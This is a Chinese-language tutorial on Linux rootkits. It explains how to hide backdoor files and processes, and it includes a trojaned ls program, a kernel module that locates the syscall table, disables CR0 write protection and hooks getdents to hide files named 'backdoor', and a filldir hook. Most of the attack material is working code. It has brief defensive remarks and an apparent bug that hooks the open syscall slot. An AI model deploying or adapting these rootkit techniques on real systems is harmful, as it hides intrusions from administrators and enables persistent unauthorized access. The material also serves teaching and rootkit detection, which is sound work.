Rootkit与后门隐藏技术

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简介

Rootkit是一套工具，用于长期获取root权限以及隐藏自己和后门程序。攻击者通过漏洞临时获得root权限后，一般会安装后门和rootkit，以便长期获取权限、收集信息。

linux虚拟文件系统VFS

虚拟文件系统（Virtual File System, 简称 VFS）， 是 Linux 内核中的一个软件层。文件，目录、字符设备、块设备、 套接字等在 Unix/Linux 中都是以文件被对待，用户通过libc与kernel的VFS交互。
向上，VFS给用户空间的程序提供彼岸准的文件操作接口；
向下，VFS给不同文件系统提供标准的接口。系统中不同的文件系统依赖 VFS 提供的接口共存、 协同工作。

rootkit的功能

• 获取权限（链接）
• 防止受保护的文件被拷贝
• 隐藏后门程序
• 隐藏后门进程
• 清理日志

这些功能的实现原理

• 基本方法：替换相应的程序，如把cp、ls、ps、log等替换为自己编写的程序，产生隐藏的效果。
• 高级方法：替换相应程序的系统调用，甚至更底层的函数调用。

下面以隐藏文件为例，介绍如何实现这些功能。

隐藏文件

基本方法

hook ls ：修改ls命令的显示内容
ls调用opendir()和readdir()，头文件dirent.h
把ls.c替换为myls.c.ls，调用readdir()过程中，当发现backdoor name时，不输出。

#include 
#include 
#include 
#include 
#include 
int main(int argc, char *argv[])
{
    DIR *dp;
    struct dirent *dirp;
    if (argc != 2)
    {
        printf("usage: ls directory_name\n");
        exit(1);
    }
    if ((dp = opendir(argv[1])) == NULL)
    {
        printf("can't open %s\n", argv[1]);
        exit(1);
    }
    while ((dirp = readdir(dp)) != NULL)
    {
        if(strcmp(dirp->d_name,"test.txt")!=0)
             printf("%s\n", dirp->d_name);
    }
    closedir(dp);
    return 0;
}

上述攻击如何避免？
对原始ls.c签名，或自己写纯净版ls.c，与嫌疑ls.c的效果进行比对。

高级方法

HOOK系统调用sys_getdents
道高一尺魔高一丈，readdir()会调用sys_getdents，攻击者可以hook readdir()，或底层的sys_getdents，乃至更底层的ext_readdir中的fillter。

目录的数据结构，getdents的返回就是由若干个这种结构组成的缓冲区

    struct linux_dirent {
            unsigned long   d_ino;
            unsigned long   d_off;
            unsigned short  d_reclen;
            char                d_name[1];
    };

系统调用流程

系统调用的头文件 ，以ls->readdir->sys_getdents的系统调用为例

• int $0x80指令（系统调用，软中断，128号中断），从用户态切换到内核态
  64位OS产生系统调用不需要中断，它直接用sysenter进行syscall，并把SCT地址存到MSR
  
• 查中断向量表IDT，找到128号指向的系统调用处理程序system_call()
• 系统调用处理函数 调用 系统调用服务例程，call call_number。根据sys_getdents的系统调用号1065，查系统调用表SCT得到sys_getdents
  

hook sys_getdents

• 找到IDT的地址,idt_base
• 根据idt_base和偏移(0x80 * 8) 找到syscall处理函数的地址
• 根据call命令的反汇编编码找到SCT表的地址(该地址会在加载内核后形成，不是固定的)
• hook，重定向调用函数

64位OS中查找SCT地址的代码

void *  get_lstar_sct_addr(void)
{
    u64 lstar;
    u64 index;
    //get the sys_call handler address
    rdmsrl(MSR_LSTAR, lstar);
    //search for \xff\x14\xc5，
    for (index = 0; index <= PAGE_SIZE; index += 1) {
            u8 *arr = (u8 *)lstar + index;
            if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) {
                    return arr + 3;
            }
    }
    return NULL;
}
unsigned long **get_lstar_sct(void)
{
    unsigned long *lstar_sct_addr = get_lstar_sct_addr();
    if (lstar_sct_addr != NULL) {
        u64 base = 0xffffffff00000000;
        u32 code = *(u32 *)lstar_sct_addr;
        return (void *)(base | code);
    } else {
        return NULL;
    }                                         
}

也可以直接查找获取SCT表的地址

得到SCT表地址后进行调用函数的重定向

struct linux_dirent{
    unsigned long     d_ino;
    unsigned long     d_off;
    unsigned short    d_reclen;
    char    d_name[1];
};
static unsigned long ** sys_call_table;
long (*old_getdents)(unsigned int fd, struct linux_dirent __user *dirp,
                    unsigned int count);
/*
asmlinkage int my_open(const char*file,int flags, int mode){
        printk("A file was opened!\n");
        return original_open(file,flags,mode);//返回原始的调用函数
}
*/
asmlinkage long my_getdents(unsigned int fd, struct linux_dirent __user *dirp,
                unsigned int count){
        struct linux_dirent *kdirp,*kdirp2;
        long value,tlen;
        long len = 0;
        value = (*old_getdents) (fd, dirp, count);
        tlen = value;
        //注意，这里不能直接使用用户空间的dirp，而是要把它copy到内核空间的kdirp
        kdirp = (struct linux_dirent *) kmalloc(tlen, GFP_KERNEL);
        kdirp2 = kdirp;
        copy_from_user(kdirp, dirp, tlen);
        while(tlen > 0)
        {
                len = kdirp->d_reclen;
                tlen = tlen - len;
                if(strstr(kdirp->d_name,"backdoor") != NULL)
                {
                        printk("find file\n");
                        //后面的dirent结构前移覆盖要隐藏的dirent
                        memmove(kdirp, (char *) kdirp + kdirp->d_reclen, tlen);
                        value = value - len;
                        printk(KERN_INFO "hide successful.\n");
                }
                else if(tlen) 
                        kdirp = (struct linux_dirent *) ((char *)kdirp + kdirp->d_reclen);
        }
        copy_to_user(dirp, kdirp2, value);//注意把经过调整的kdirp还给dirp
        //printk(KERN_INFO "finished hacked_getdents.\n");
        kfree(kdirp2);
        return value;
}
static int filter_init(void)
{
        //sys_call_table = 0xffffffff81a00200;
        sys_call_table = get_lstar_sct();
        old_getdents = (void *)sys_call_table[__NR_getdents];//保留原始调用函数
        disable_write_protection();//关闭写保护
        sys_call_table[__NR_open] = (unsigned long *)&my_getdents;////重定向调用函数
        enable_write_protection();//打开写保护
        return 0;
}
static void filter_exit(void)
{
    //printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
    disable_write_protection();
    sys_call_table[__NR_getdents] = (unsigned long *)old_getdents;
    enable_write_protection();
    //printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
    //printk(KERN_INFO "hideps: module removed\n");
}
void disable_write_protection(void)
{
        unsigned long cr0 = read_cr0();
        clear_bit(16, &cr0);
        write_cr0(cr0);
}
void enable_write_protection(void)
{
        unsigned long cr0 = read_cr0();
        set_bit(16, &cr0);
        write_cr0(cr0);
}
MODULE_LICENSE("GPL");
module_init(filter_init);
module_exit(filter_exit);

my_getdents原理
假设文件夹内有4个子文件，编号0-3，用4个连续的dirent结构存储，要隐藏的文件编号为2
当sys_getdents读取到dirent.name = backdoor时，舍去此dirent，后面的dirent前移覆盖

如何防范
打印SCT表会发现异常地址，指向用户区地址my_getdent

sys_getdents的调用树

sys_getdents-> iterate_dir-> struct file_operations 里的iterate->... -> struct dir_context 里的actor(mostly filldir)
详细分析，如下：
sys_getdents主要调用了iterate_dir

    SYSCALL_DEFINE3(getdents, unsigned int, fd,
                    struct linux_dirent __user *, dirent, unsigned int, count)
    {
            struct fd f;
            struct linux_dirent __user * lastdirent;
            struct getdents_callback buf = {
                    .ctx.actor = filldir,
                    .count = count,
                    .current_dir = dirent
            };
            int error;
            if (!access_ok(VERIFY_WRITE, dirent, count))
                    return -EFAULT;
            f = fdget(fd);
            if (!f.file)
                    return -EBADF;
            error = iterate_dir(f.file, &buf.ctx);////////////////////here
            if (error >= 0)
                    error = buf.error;
            lastdirent = buf.previous;
            if (lastdirent) {
                    if (put_user(buf.ctx.pos, &lastdirent->d_off))
                            error = -EFAULT;
                    else
                            error = count - buf.count;
            }
            fdput(f);
            return error;
    }

iterate_dir调用file_operations里面的iterate函数

struct dir_context {
        const filldir_t actor;
        loff_t pos;
};
int iterate_dir(struct file *file, struct dir_context *ctx)
{
        struct inode *inode = file_inode(file);
        int res = -ENOTDIR;
        if (!file->f_op->iterate)
                goto out;
        res = security_file_permission(file, MAY_READ);
        if (res)
                goto out;
        res = mutex_lock_killable(&inode->i_mutex);
        if (res)
                goto out;
        res = -ENOENT;
        if (!IS_DEADDIR(inode)) {
                ctx->pos = file->f_pos;
                res = file->f_op->iterate(file, ctx);/////////////////////here
                file->f_pos = ctx->pos;
                file_accessed(file);
        }
        mutex_unlock(&inode->i_mutex);
out:
        return res;
}
EXPORT_SYMBOL(iterate_dir);

vfs的file_operations

const struct file_operations ext4_dir_operations = {
        .llseek         = ext4_dir_llseek,
        .read           = generic_read_dir,
        .iterate        = ext4_readdir,///////////////here
        .unlocked_ioctl = ext4_ioctl,
#ifdef CONFIG_COMPAT
        .compat_ioctl   = ext4_compat_ioctl,
#endif
        .fsync          = ext4_sync_file,
        .release        = ext4_release_dir,
};

ext4_readdir -> readdir(file, buf, filler), 调用了ext4_dir_operations函数集中的readdir()函数。

ext4_readdir最终通过filldir把目录里面的项目填到getdents返回的缓冲区里，缓冲区里是若干个linux_dirent结构。

在readdir函数中比较重要的是filler部分，类型是filldir_t（linux/fs.h），它的作用是用dirent中的各项数据填充用户区的buffer。

typedef  int (*filldir_t)(void *, const char *, int, loff_t, u64, unsigned);

Filler的代码示例，其中__put_user是将内容写入用户空间。

    dirent = buf->previous;
    if (dirent) {
     if (__put_user(offset, &dirent->d_off))
             goto efault;
    }
    dirent = buf->current_dir;
    if (__put_user(d_ino, &dirent->d_ino))
     goto efault;
    if (__put_user(reclen, &dirent->d_reclen))
     goto efault;
    if (copy_to_user(dirent->d_name, name, namlen))
     goto efault;
    if (__put_user(0, dirent->d_name + namlen))
     goto efault;
    if (__put_user(d_type, (char __user *) dirent + reclen - 1))
     goto efault;
 

最底层的方法

hooking filldir，在hooking function中去掉我们需要隐藏的文件记录，不填到缓冲区，这样ls就收不到相应的记录.

具体思路是hooking相应目录的iterate，把dir_context的actor改为fake_filldir, 把后门文件过滤。

    int fake_filldir(struct dir_context *ctx, const char *name, int namlen,
                    loff_t offset, u64 ino, unsigned d_type)
    {
            if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
                    printk("Hiding: %s", name);
                    return 0;
            }

            return real_filldir(ctx, name, namlen, offset, ino, d_type);
    }

隐藏进程

源代码：rootkit_ps.c
原理和隐藏文件相似。
ps命令会对/proc目录进行ls，/proc目录中存的都是以“进程号”命名的文件，对应的“进程名”存放在在/proc/进程号/status中，第一行就是进程名。
假设要隐藏的进程为backdoor，则需要在ls调用getdents时重定向到自己的处理程序my_getdents()，该函数的作用是根据对目录下各个子目录结构体的name，即进程号，找到/proc/进程号/status，提取其中的进程名，如果进程名是backdoor，则忽略该目录结构体。

日志修改

待更新。

参考：
https://zhuanlan.zhihu.com/p/61988212
《UNIX环境高级编程》
https://blog.csdn.net/bw_yyziq/article/details/78448667?tdsourcetag=s_pcqq_aiomsg
https://blog.csdn.net/lingfong_cool/article/details/8032328